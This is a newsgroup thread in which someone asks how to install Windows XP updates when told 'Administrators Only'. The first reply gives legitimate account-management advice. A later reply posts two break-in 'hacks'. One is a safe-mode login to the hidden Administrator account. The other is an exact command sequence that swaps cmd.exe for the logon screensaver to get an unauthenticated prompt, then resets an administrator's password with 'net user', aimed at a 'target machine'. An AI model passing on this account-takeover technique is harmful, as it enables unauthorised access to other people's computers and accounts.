When I try to update it says "Administators Only." I
have
>no such account set up. What can I do?
>Thanks

Unless you manually deleted the account, there is an Administrator user
account (even though it doesn't show up as a login choice). If you are the
person who installed the OS, you are also a member of the Administrators
group. To verify this, go to Computer Management (My Computer->Manage) and
look at the "Local Users and Groups->Users" folder. Check your login for
memberships and the Administrator user properties.

To log in as Administrator, you can use CTL-ALT-DEL to access the old login
box (you need to know the password). Any member of Administrators can reset
the Administrator password from Computer Management -- right-mouse on
Administrator.

NOTE -- you don't have to log in as Administrator to install updates; you
just need to be a member of the Administrators group.

- Robert -

"Travis" <(E-Mail Removed)> wrote in message
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> When I try to update it says "Administators Only." I
> have
>>no such account set up. What can I do?
>>Thanks
>

If for some reason you can't get in because of passwords try this......
This hack will only work if the person that owns the machine
has no intelligence. This is how it works:

When you or anyone installs Windows XP for the first time your
asked to put in your username and up to five others.

Now, unknownst to a lot of other people this is the only place in
Windows XP that you can password the default Administrator Diagnostic
Account. This means that to by pass most administrators accounts
on Windows XP all you have to do is boot to safe mode by pressing F8
during boot up and choosing it. Log into the Administrator Account
and create your own or change the password on the current Account.

This only works if the user on setup specified a password for the
Administrator Account.


This has worked for me on both Windows XP Home and Pro.

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Now this one seems to be machine dependant, it works randomly(don't know
why)


If you log into a limited account on your target machine and open up a dos
prompt
then enter this set of commands Exactly:

(this appeared on www.astalavista.com a few days ago but i found that it
wouldn't work
on the welcome screen of a normal booted machine)

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cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

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Now what you have just done is told the computer to backup the command
program
and the screen saver file, then edits the settings so when the machine boots
the
screen saver you will get an unprotected dos prompt with out logging into
XP.

Once this happens if you enter this command minus the quotes

"net user <admin account name here> password"

If the Administrator Account is called Frank and you want the password blah
enter this

"net user Frank blah"

and this changes the password on franks machine to blah and your in.


Have fun